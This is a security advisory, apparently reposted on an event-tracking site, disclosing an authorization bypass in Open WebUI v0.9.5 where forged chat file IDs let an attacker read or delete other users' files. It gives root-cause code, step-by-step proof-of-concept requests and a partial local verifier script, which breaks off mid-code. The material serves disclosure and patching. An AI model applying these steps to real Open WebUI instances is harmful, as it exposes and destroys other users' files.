Technologyglobalverified · 90%

Open WebUI: Forged chat-file link allows cross-user file read and deletion

When
Where
Global (internet)
Category
cyber_advisory · pip

## Summary Open WebUI `v0.9.5` lets an authenticated user attach arbitrary `file_id` values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, `has_access_to_file()` treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file. ## Impact Security boundary crossed: file confidentiality and integrity. An authenticated attacker who knows or obtains a victim `file_id` can make Open WebUI authorize, through an attacker-owned shared chat: - reading the victim file via `GET /api/v1/files/{id}/content`, and - deleting the victim file via `DELETE /api/v1/files/{id}`. ## Root Cause Client-controlled message file IDs are persisted without file authorization checks: ```python # backend/open_webui/main.py await Chats.insert_chat_files( chat_id, user_message.get('id'), [ file_item.get('id') for file_item in user_message_files if file_item.get('type') == 'file' ], user.id, ) ``` `insert_chat_files()` stores the provided IDs directly: ```python # backend/open_webui/models/chats.py ChatFileModel( user_id=user_id, chat_id=chat_id, message_id=message_id, file_id=file_id, ) ``` Later, file authorization trusts shared-chat associations: ```python # backend/open_webui/utils/access_control/files.py shared_chat_ids = await Chats.get_shared_chat_ids_by_file_id(file_id, db=db) if shared_chat_ids: accessible_ids = await AccessGrants.get_accessible_resource_ids( user_id=user.id, resource_type='shared_chat', resource_ids=shared_chat_ids, permission='read', ) if accessible_ids: return True ``` The download endpoint uses this helper: ```python # backend/open_webui/routers/files.py if file.user_id == user.id or user.role == 'admin' or await has_access_to_file(id, 'read', user, db=db): return FileResponse(file_path, ...) ``` On affected versions this shared-chat branch is not gated on `access_type` (the grant lookup hardcodes `permission='read'`, but nothing checks that the request itself is a read). The same forged association therefore also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs, so the attacker can delete the victim file, not only read it. Because the shared-chat branch ignores `access_type`, the deletion does not require the forged association at all. A user granted only **read** access to a chat that the owner legitimately shared can delete the owner's own files attached to that chat via `DELETE /api/v1/files/{id}`, since the read grant satisfies the `write` check. The forged association (above) broadens this to any victim `file_id`; a legitimate read-only share reaches it without any forgery. ## PoC 1. Attacker creates or uses a chat they own. 2. Attacker sends `POST /api/chat/completions` or `POST /api/v1/chat/completions` where top-level `user_message.files` contains: ```json [ { "type": "file", "id": "VICTIM_FILE_ID" } ] ``` 3. Backend inserts a `chat_file` row linking the attacker chat to `VICTIM_FILE_ID`. 4. Attacker shares the chat and grants read access to themselves or public access. 5. Attacker requests: ```text GET /api/v1/files/VICTIM_FILE_ID/content ``` Expected: 404/403 because the attacker does not own or otherwise have access to the victim file. Actual: file authorization succeeds through the attacker-controlled shared-chat association. ## Local Verification I verified the bug locally with Open WebUI's real `Chats.insert_chat_files()` and real `has_access_to_file()` implementations. The harness uses fake DB adapters only to avoid this environment's async SQLite hang; the security-sensitive logic under test is the application code. Result: ```json { "before_chat_file_link_attacker_can_read": false, "insert_sink": { "db_commit_called": true, "insert_returned_rows": true, "stored_chat_ids": [ "attacker-chat" ], "stored_file_ids": [ "victim-file" ], "stored_user_ids": [ "attacker" ] }, "after_attacker_shared_chat_links_victim_file_attacker_can_read": true, "confirmed": true } ``` PoC: ```python #!/usr/bin/env python3 """ Verifier for chat-file link authorization bypass. This intentionally avoids the app DB because the local Python 3.13 async SQLite stack hangs in this checkout. It still executes Open WebUI's real has_access_to_file() implementation, with fake model adapters standing in for the DB tables. """ from __future__ import annotations import asyncio import json import os import sys import types from pathlib import Path from types import SimpleNamespace def prepare_imports() -> None: repo_root = Path(__file__).resolve().parents[1] sys.path.insert(0, str(repo_root / "backend")) os.environ["VECTOR_DB"] = "none" class DummyTyper: def command(self, *args, **kwargs): return lambda fn: fn sys.modules.setdefault( "typer", types.SimpleNamespace( Typer=lambda *args, **kwargs: DummyTyper(), Option=lambda *args, **kwargs: None, echo=lambda *args, **kwargs: None, Exit=Exception, ), ) sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None)) class FakeFiles: async def get_file_by_id(self, file_id, db=None): if file_id == "victim-file": return SimpleNamespace( id="victim-file", user_id="victim", meta={}, ) return None class FakeKnowledges: async def get_knowledges_by_file_id(self, file_id, db=None): return [] class FakeGroups: async def get_groups_by_member_id(self, user_id, db=None): return [] class FakeChannels: async def get_channels_by_file_id_and_user_id(self, file_id, user_id, db=None): return [] class FakeModels: async def get_models_by_user_id(self, user_id, permission="read", db=None): return [] class FakeChats: def __init__(self, linked: bool): self.linked = linked async def get_shared_chat_ids_by_file_id(self, file_id, db=None): if self.linked and file_id == "victim-file": # This mirrors a chat_file row tying victim-file to the attacker's # shared chat. The real insertion sink is Chats.insert_chat_files(). return ["attacker-chat"] return [] class FakeAccessGrants: def __init__(self, granted: bool): self.granted = granted async def has_access(self, *args, **kwargs): return False async def get_accessible_resource_ids( self, user_id, resource_type, resource_ids, permission="read", user_group_ids=None, db=None, ): if ( self.granted and user_id == "attacker" and resource_type == "shared_chat" and "attacker-chat" in resource_ids and permission == "read" ): return {"attacker-chat"} return set() class FakeDb: def __init__(self): self.added = [] self.committed = False def add_all(self, rows): self.added.extend(rows) async def commit(self): self.committed = True class FakeDbContext: def __init__(self, db): self.db = db async def __aenter__(self): return self.db async def __aexit__(self, exc_type, exc, tb): return False async def verify_insert_sink_accepts_victim_file_id(): import open_webui.models.chats as chats_module fake_db = FakeDb() chats_table = chats_module.Chats original_context = chats_module.get_async_db_context original_existing = chats_table.get_chat_files_by_chat_id_and_message_id async def fake_existing(self, chat_id, message_id, db=None): return [] try: chats_

Sources

Defaxon links out to the original reporting and never republishes article text.

Correlated events

Computed by the Defaxon correlation engine — linked by shared actors, co-location, and temporal proximity. Scored hypotheses, never causal claims.

← Back to the live map